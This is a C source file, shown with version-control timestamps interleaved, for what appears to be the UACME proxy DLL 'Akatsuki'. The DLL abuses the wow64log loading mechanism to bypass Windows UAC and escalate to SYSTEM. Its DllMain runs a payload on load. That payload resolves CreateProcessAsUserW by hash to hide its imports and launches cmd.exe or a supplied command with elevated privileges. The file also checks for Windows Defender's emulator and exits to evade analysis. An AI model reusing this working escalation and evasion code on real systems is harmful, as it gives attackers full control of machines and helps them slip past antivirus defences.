2017-03-25 12:39:31 +00:00
|
|
|
/*******************************************************************************
|
|
|
|
*
|
2022-06-22 12:26:27 +00:00
|
|
|
* (C) COPYRIGHT AUTHORS, 2016 - 2022
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
* TITLE: DLLMAIN.C
|
|
|
|
*
|
2022-06-22 12:26:27 +00:00
|
|
|
* VERSION: 3.61
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
2022-06-22 12:26:27 +00:00
|
|
|
* DATE: 22 Jun 2022
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
* Proxy dll entry point, Akatsuki.
|
|
|
|
* Special dll for wow64 logger method.
|
2020-10-05 17:17:21 +00:00
|
|
|
*
|
|
|
|
* WARNING: real wow64log must have native subsystem and only ntdll export.
|
|
|
|
* This one will force crash and propagate to WER process elevating to NTAuthority/System.
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
|
|
* PARTICULAR PURPOSE.
|
|
|
|
*
|
|
|
|
*******************************************************************************/
|
|
|
|
|
|
|
|
#if !defined UNICODE
|
|
|
|
#error ANSI build is not supported
|
|
|
|
#endif
|
|
|
|
|
2018-11-21 05:14:29 +00:00
|
|
|
#include "shared\shared.h"
|
2018-10-11 08:42:35 +00:00
|
|
|
#include "shared\libinc.h"
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
#define LoadedMsg TEXT("Akatsuki lock and loaded")
|
|
|
|
|
|
|
|
HANDLE g_SyncMutant = NULL;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2018-11-13 09:58:29 +00:00
|
|
|
UACME_PARAM_BLOCK g_SharedParams;
|
|
|
|
|
|
|
|
|
2017-03-25 12:39:31 +00:00
|
|
|
/*
|
|
|
|
* DummyFunc
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Stub for fake exports.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
VOID WINAPI DummyFunc(
|
|
|
|
VOID
|
|
|
|
)
|
|
|
|
{
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
2017-09-08 12:20:05 +00:00
|
|
|
* DbgDumpRuntimeInfo
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
2018-11-13 09:58:29 +00:00
|
|
|
* Dump runtime info to the file, this routine is only for debug builds.
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
*/
|
2017-09-08 12:20:05 +00:00
|
|
|
VOID DbgDumpRuntimeInfo()
|
2017-03-25 12:39:31 +00:00
|
|
|
{
|
2017-09-08 12:20:05 +00:00
|
|
|
HANDLE hFile = INVALID_HANDLE_VALUE;
|
|
|
|
WCHAR szReportName[MAX_PATH * 2];
|
|
|
|
WCHAR sysdir[MAX_PATH + 1];
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
DWORD cch;
|
|
|
|
LPWSTR lpText = NULL;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
DWORD bytesIO;
|
|
|
|
WCHAR ch;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
cch = ucmExpandEnvironmentStrings(L"%temp%\\", sysdir, MAX_PATH);
|
|
|
|
if ((cch != 0) && (cch < MAX_PATH)) {
|
|
|
|
_strcpy(szReportName, sysdir);
|
|
|
|
_strcat(szReportName, TEXT("report_"));
|
|
|
|
ultostr(GetCurrentProcessId(), _strend(szReportName));
|
|
|
|
_strcat(szReportName, TEXT(".txt"));
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
hFile = CreateFile(szReportName, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
|
|
|
if (hFile != INVALID_HANDLE_VALUE) {
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
ch = (WCHAR)0xFEFF;
|
|
|
|
WriteFile(hFile, &ch, sizeof(WCHAR), &bytesIO, NULL);
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
lpText = ucmQueryRuntimeInfo(TRUE);
|
|
|
|
if (lpText) {
|
|
|
|
WriteFile(hFile, lpText, (DWORD)(_strlen(lpText) * sizeof(WCHAR)), &bytesIO, NULL);
|
|
|
|
ucmDestroyRuntimeInfo(lpText);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
2017-09-08 12:20:05 +00:00
|
|
|
CloseHandle(hFile);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
#define Hash_CreateProcessAsUserW 0xb75be93c
|
|
|
|
|
|
|
|
/*
|
|
|
|
* InitFunctionPtr
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Retrieve required function ptr.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
PVOID InitFunctionPtr(
|
|
|
|
VOID
|
|
|
|
)
|
|
|
|
{
|
|
|
|
UNICODE_STRING usKernel = RTL_CONSTANT_STRING(L"kernel32.dll");
|
|
|
|
UNICODE_STRING usAdvapi = RTL_CONSTANT_STRING(L"advapi32.dll");
|
|
|
|
|
|
|
|
NTSTATUS ntStatus;
|
|
|
|
PVOID ImageBase = NULL, dummy;
|
|
|
|
|
|
|
|
ntStatus = LdrLoadDll(NULL, NULL, &usKernel, &dummy);
|
|
|
|
if (NT_SUCCESS(ntStatus)) {
|
|
|
|
|
|
|
|
ntStatus = LdrGetDllHandleEx(LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT,
|
|
|
|
NULL, NULL, &usAdvapi, &ImageBase);
|
|
|
|
|
|
|
|
if (!NT_SUCCESS(ntStatus)) {
|
|
|
|
ntStatus = LdrLoadDll(NULL, NULL, &usAdvapi, &ImageBase);
|
|
|
|
}
|
|
|
|
|
|
|
|
if (NT_SUCCESS(ntStatus)) {
|
|
|
|
return ucmGetProcedureAddressByHash(ImageBase, Hash_CreateProcessAsUserW);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
return NULL;
|
|
|
|
}
|
|
|
|
|
2017-03-25 12:39:31 +00:00
|
|
|
/*
|
2017-09-08 12:20:05 +00:00
|
|
|
* DefaultPayload
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
2017-09-08 12:20:05 +00:00
|
|
|
* Process parameter if exist or start cmd.exe and exit immediatelly.
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
*/
|
2017-09-08 12:20:05 +00:00
|
|
|
VOID DefaultPayload(
|
|
|
|
VOID
|
2017-03-25 12:39:31 +00:00
|
|
|
)
|
|
|
|
{
|
2018-11-13 09:58:29 +00:00
|
|
|
BOOL bSharedParamsReadOk;
|
2020-10-05 17:17:21 +00:00
|
|
|
UINT ExitCode = 0;
|
2018-11-13 09:58:29 +00:00
|
|
|
PWSTR lpParameter;
|
|
|
|
ULONG cbParameter;
|
|
|
|
|
|
|
|
BOOL bIsLocalSystem = FALSE;
|
|
|
|
ULONG SessionId;
|
2017-09-08 12:20:05 +00:00
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
PFNCREATEPROCESSASUSERW pCreateProcessAsUser;
|
|
|
|
|
|
|
|
if (!NT_SUCCESS(ucmCreateSyncMutant(&g_SyncMutant))) {
|
|
|
|
RtlExitUserProcess(STATUS_SUCCESS);
|
|
|
|
return;
|
|
|
|
}
|
2017-09-08 12:20:05 +00:00
|
|
|
|
2018-11-13 09:58:29 +00:00
|
|
|
//
|
|
|
|
// Read shared params block.
|
|
|
|
//
|
|
|
|
RtlSecureZeroMemory(&g_SharedParams, sizeof(g_SharedParams));
|
|
|
|
bSharedParamsReadOk = ucmReadSharedParameters(&g_SharedParams);
|
|
|
|
if (bSharedParamsReadOk) {
|
|
|
|
lpParameter = g_SharedParams.szParameter;
|
|
|
|
cbParameter = (ULONG)(_strlen(g_SharedParams.szParameter) * sizeof(WCHAR));
|
|
|
|
SessionId = g_SharedParams.SessionId;
|
|
|
|
}
|
|
|
|
else {
|
|
|
|
lpParameter = NULL;
|
|
|
|
cbParameter = 0UL;
|
|
|
|
SessionId = 0;
|
|
|
|
}
|
2017-09-08 12:20:05 +00:00
|
|
|
|
2018-11-13 09:58:29 +00:00
|
|
|
ucmIsLocalSystem(&bIsLocalSystem);
|
2017-09-08 12:20:05 +00:00
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
pCreateProcessAsUser = (PFNCREATEPROCESSASUSERW)InitFunctionPtr();
|
2017-09-08 12:20:05 +00:00
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
if (pCreateProcessAsUser) {
|
|
|
|
|
|
|
|
ExitCode = (ucmLaunchPayload2(
|
|
|
|
pCreateProcessAsUser,
|
|
|
|
bIsLocalSystem,
|
|
|
|
SessionId,
|
|
|
|
lpParameter,
|
|
|
|
cbParameter) != FALSE);
|
|
|
|
|
|
|
|
}
|
2018-11-13 09:58:29 +00:00
|
|
|
//
|
|
|
|
// Notify Akagi.
|
|
|
|
//
|
|
|
|
if (bSharedParamsReadOk) {
|
|
|
|
ucmSetCompletion(g_SharedParams.szSignalObject);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
2021-07-30 10:05:53 +00:00
|
|
|
ucmSleep(5000);
|
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
NtClose(g_SyncMutant);
|
|
|
|
|
|
|
|
RtlExitUserProcess(ExitCode);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
|
|
* DllMain
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
2017-09-08 12:20:05 +00:00
|
|
|
* Proxy dll entry point.
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
*/
|
|
|
|
BOOL WINAPI DllMain(
|
|
|
|
_In_ HINSTANCE hinstDLL,
|
|
|
|
_In_ DWORD fdwReason,
|
|
|
|
_In_ LPVOID lpvReserved
|
|
|
|
)
|
|
|
|
{
|
|
|
|
UNREFERENCED_PARAMETER(hinstDLL);
|
|
|
|
UNREFERENCED_PARAMETER(lpvReserved);
|
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
ucmDbgMsg(LoadedMsg);
|
|
|
|
|
2018-06-15 11:44:01 +00:00
|
|
|
if (wdIsEmulatorPresent() == STATUS_NEEDS_REMEDIATION)
|
2020-10-05 17:17:21 +00:00
|
|
|
RtlExitUserProcess('Foff');
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2017-03-25 12:39:31 +00:00
|
|
|
if (fdwReason == DLL_PROCESS_ATTACH) {
|
2020-10-05 17:17:21 +00:00
|
|
|
|
|
|
|
LdrDisableThreadCalloutsForDll(hinstDLL);
|
2017-09-08 12:20:05 +00:00
|
|
|
DefaultPayload();
|
2020-10-05 17:17:21 +00:00
|
|
|
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
return TRUE;
|
|
|
|
}
|
2022-06-22 12:26:27 +00:00
|
|
|
|
|
|
|
/*
|
|
|
|
* EntryPointExeMode
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Entry point to be used in exe mode.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
VOID WINAPI EntryPointExeMode(
|
|
|
|
VOID
|
|
|
|
)
|
|
|
|
{
|
|
|
|
if (wdIsEmulatorPresent() != STATUS_NOT_SUPPORTED) {
|
|
|
|
RtlExitUserProcess('foff');
|
|
|
|
}
|
|
|
|
DefaultPayload();
|
|
|
|
}
|